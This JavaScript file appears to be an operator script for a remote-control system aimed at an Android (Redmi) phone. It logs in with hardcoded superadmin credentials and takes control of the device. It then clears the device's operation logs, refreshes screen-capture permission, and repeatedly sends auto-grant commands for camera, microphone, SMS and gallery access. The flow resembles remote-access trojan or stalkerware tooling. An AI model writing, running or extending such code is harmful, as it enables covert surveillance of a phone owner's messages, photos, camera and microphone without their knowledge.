Files
web-client/scripts/redmi_first_permission_flow.mjs
2026-03-03 22:16:16 +08:00

410 lines
11 KiB
JavaScript

#!/usr/bin/env node
import { io } from 'socket.io-client'
import { writeFile } from 'node:fs/promises'
const DEVICE_ID = process.env.RC_DEVICE_ID || process.argv[2]
const SERVER_HTTP = process.env.RC_SERVER_HTTP || 'http://192.168.100.45:3001'
const SOCKET_URL = process.env.RC_SOCKET_URL || SERVER_HTTP
const USERNAME = process.env.RC_USER || 'superadmin'
const PASSWORD = process.env.RC_PASS || 'superadmin123456789'
const REPORT_PATH =
process.env.RC_REPORT_PATH || './_tmp_redmi_first_permission_flow_result.json'
const SKIP_PROJECTION_REFRESH = process.env.RC_SKIP_PROJECTION_REFRESH === '1'
const PROJECTION_SETTLE_MS = Number(process.env.RC_PROJECTION_SETTLE_MS || 5000)
const PERMISSION_RETRIES = Number(process.env.RC_PERMISSION_RETRIES || 4)
const REQUEST_WAIT_BASE_MS = Number(process.env.RC_REQUEST_WAIT_BASE_MS || 2000)
const REQUEST_WAIT_STEP_MS = Number(process.env.RC_REQUEST_WAIT_STEP_MS || 500)
const RETRY_BACKOFF_BASE_MS = Number(process.env.RC_RETRY_BACKOFF_BASE_MS || 1600)
if (!DEVICE_ID) {
console.error('Missing device id. Usage: node scripts/redmi_first_permission_flow.mjs <deviceId>')
process.exit(1)
}
const nowIso = () => new Date().toISOString()
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
const report = {
startedAt: nowIso(),
finishedAt: null,
serverHttp: SERVER_HTTP,
socketUrl: SOCKET_URL,
deviceId: DEVICE_ID,
steps: [],
events: [],
summary: {
ok: 0,
warn: 0,
fail: 0
}
}
const INTERESTING_EVENTS = new Set([
'connect',
'client_registered',
'device_control_response',
'refresh_permission_response',
'permission_response',
'control_error',
'auth_error',
'registration_error'
])
function safeStringify(value, maxLen = 500) {
try {
const text = JSON.stringify(value)
if (!text) return ''
if (text.length <= maxLen) return text
return `${text.slice(0, maxLen)}...<trimmed>`
} catch {
return String(value)
}
}
function pushEvent(event, args) {
if (!INTERESTING_EVENTS.has(event)) return
const payload = args.length <= 1 ? args[0] : args
report.events.push({
at: nowIso(),
event,
payloadPreview: safeStringify(payload, 700)
})
if (report.events.length > 1200) {
report.events.shift()
}
}
function waitEvent(socket, event, predicate = () => true, timeoutMs = 10000) {
return new Promise((resolve, reject) => {
const timer = setTimeout(() => {
socket.off(event, onEvent)
reject(new Error(`timeout_waiting_${event}_${timeoutMs}ms`))
}, timeoutMs)
function onEvent(payload) {
try {
if (!predicate(payload)) return
clearTimeout(timer)
socket.off(event, onEvent)
resolve([payload])
} catch (error) {
clearTimeout(timer)
socket.off(event, onEvent)
reject(error)
}
}
socket.on(event, onEvent)
})
}
async function runStep(name, fn, { optional = false } = {}) {
const started = Date.now()
try {
const detail = await fn()
report.steps.push({
name,
status: 'ok',
durationMs: Date.now() - started,
detail
})
report.summary.ok += 1
console.log(`OK ${name}`)
return true
} catch (error) {
const status = optional ? 'warn' : 'fail'
report.steps.push({
name,
status,
durationMs: Date.now() - started,
error: error instanceof Error ? error.message : String(error)
})
report.summary[status] += 1
console.log(`${status.toUpperCase()} ${name} -> ${error instanceof Error ? error.message : String(error)}`)
return false
}
}
async function loginAndGetToken() {
const response = await fetch(`${SERVER_HTTP}/api/auth/login`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
username: USERNAME,
password: PASSWORD
})
})
const data = await response.json().catch(() => ({}))
if (!response.ok || !data?.success || !data?.token) {
throw new Error(`login_failed status=${response.status} body=${safeStringify(data, 900)}`)
}
return data.token
}
async function main() {
const token = await loginAndGetToken()
const socket = io(SOCKET_URL, {
transports: ['websocket', 'polling'],
timeout: 15000,
reconnection: false,
auth: { token }
})
socket.onAny((event, ...args) => pushEvent(event, args))
const emitClientEvent = (type, data = {}) => {
socket.emit('client_event', {
type,
data: { ...data, deviceId: data.deviceId || DEVICE_ID },
timestamp: Date.now()
})
}
const emitControlMessage = (type, data = {}) => {
socket.emit('control_message', {
type,
deviceId: DEVICE_ID,
data,
timestamp: Date.now()
})
}
const emitCameraControl = (action, data = {}) => {
socket.emit('camera_control', {
action,
deviceId: DEVICE_ID,
data
})
}
const waitPermissionResponse = async (permissionType, timeoutMs = 22000) => {
const normalized = String(permissionType || '').trim().toLowerCase()
const [resp] = await waitEvent(
socket,
'permission_response',
(payload) => {
if (!payload || payload.deviceId !== DEVICE_ID) return false
const incoming = String(payload.permissionType || '').trim().toLowerCase()
return incoming === normalized
},
timeoutMs
)
return {
success: !!resp?.success,
message: resp?.message || '',
raw: resp
}
}
const ensureRuntimePermission = async (
permissionName,
requestAction,
checkAction,
retries = PERMISSION_RETRIES
) => {
let lastError = null
let lastMessage = ''
for (let attempt = 1; attempt <= retries; attempt += 1) {
try {
emitCameraControl(requestAction, {})
await sleep(REQUEST_WAIT_BASE_MS + (attempt - 1) * REQUEST_WAIT_STEP_MS)
emitCameraControl(checkAction, {})
const result = await waitPermissionResponse(permissionName, 22000)
lastMessage = result.message || lastMessage
if (result.success) {
return {
granted: true,
attempts: attempt,
message: result.message || 'granted'
}
}
} catch (error) {
lastError = error
}
await sleep(RETRY_BACKOFF_BASE_MS * attempt)
}
if (lastError) throw lastError
throw new Error(lastMessage || `${permissionName}_permission_not_granted`)
}
let hasControl = false
try {
await waitEvent(socket, 'connect', () => true, 12000)
socket.emit('web_client_register', {
userAgent: 'codex-redmi-first-permission-flow'
})
const [registered] = await waitEvent(socket, 'client_registered', () => true, 15000)
const devices = Array.isArray(registered?.devices) ? registered.devices : []
report.registeredDevicesCount = devices.length
report.targetDeviceFound = devices.some((d) => d?.id === DEVICE_ID)
await runStep('request_device_control', async () => {
emitClientEvent('REQUEST_DEVICE_CONTROL', { deviceId: DEVICE_ID })
const [resp] = await waitEvent(
socket,
'device_control_response',
(payload) => payload?.deviceId === DEVICE_ID,
15000
)
if (!resp?.success) {
throw new Error(resp?.message || 'request_control_failed')
}
hasControl = true
return { message: resp.message || 'ok' }
})
await runStep(
'enable_operation_log',
async () => {
if (!hasControl) throw new Error('no_control')
emitControlMessage('LOG_ENABLE', {})
await sleep(500)
return { sent: true }
},
{ optional: true }
)
await runStep(
'clear_operation_logs',
async () => {
if (!hasControl) throw new Error('no_control')
emitClientEvent('CLEAR_OPERATION_LOGS', { deviceId: DEVICE_ID })
await sleep(500)
return { sent: true }
},
{ optional: true }
)
if (!SKIP_PROJECTION_REFRESH) {
await runStep(
'refresh_media_projection_permission',
async () => {
if (!hasControl) throw new Error('no_control')
emitClientEvent('REFRESH_MEDIA_PROJECTION_PERMISSION', { deviceId: DEVICE_ID })
const [resp] = await waitEvent(
socket,
'refresh_permission_response',
(payload) => payload?.deviceId === DEVICE_ID,
22000
)
return { success: !!resp?.success, message: resp?.message || '' }
},
{ optional: true }
)
await runStep(
'refresh_media_projection_manual',
async () => {
if (!hasControl) throw new Error('no_control')
emitClientEvent('REFRESH_MEDIA_PROJECTION_MANUAL', { deviceId: DEVICE_ID })
const [resp] = await waitEvent(
socket,
'refresh_permission_response',
(payload) => payload?.deviceId === DEVICE_ID,
22000
)
return { success: !!resp?.success, message: resp?.message || '' }
},
{ optional: true }
)
await runStep(
'settle_after_projection_refresh',
async () => {
await sleep(PROJECTION_SETTLE_MS)
return { waitedMs: PROJECTION_SETTLE_MS }
},
{ optional: true }
)
}
await runStep(
'camera_permission_check',
async () =>
ensureRuntimePermission(
'camera',
'CAMERA_PERMISSION_AUTO_GRANT',
'CAMERA_PERMISSION_CHECK',
PERMISSION_RETRIES
)
)
await sleep(2200)
await runStep(
'microphone_permission_check',
async () =>
ensureRuntimePermission(
'microphone',
'MICROPHONE_PERMISSION_AUTO_GRANT',
'MICROPHONE_PERMISSION_CHECK',
PERMISSION_RETRIES
)
)
await sleep(2200)
await runStep(
'sms_permission_check',
async () =>
ensureRuntimePermission(
'sms',
'SMS_PERMISSION_AUTO_GRANT',
'SMS_PERMISSION_CHECK',
PERMISSION_RETRIES
)
)
await sleep(2200)
await runStep(
'gallery_permission_check',
async () =>
ensureRuntimePermission(
'gallery',
'GALLERY_PERMISSION_AUTO_GRANT',
'GALLERY_PERMISSION_CHECK',
PERMISSION_RETRIES
)
)
} catch (error) {
report.steps.push({
name: 'fatal',
status: 'fail',
durationMs: 0,
error: error instanceof Error ? error.message : String(error)
})
report.summary.fail += 1
console.error(error instanceof Error ? error.message : String(error))
} finally {
await runStep(
'release_device_control',
async () => {
if (!hasControl) return { skipped: true }
emitClientEvent('RELEASE_DEVICE_CONTROL', { deviceId: DEVICE_ID })
await sleep(700)
return { released: true }
},
{ optional: true }
)
socket.close()
report.finishedAt = nowIso()
await writeFile(REPORT_PATH, JSON.stringify(report, null, 2), 'utf8')
}
}
main().catch(async (error) => {
report.steps.push({
name: 'unhandled',
status: 'fail',
durationMs: 0,
error: error instanceof Error ? error.message : String(error)
})
report.summary.fail += 1
report.finishedAt = nowIso()
try {
await writeFile(REPORT_PATH, JSON.stringify(report, null, 2), 'utf8')
} catch {}
process.exit(1)
})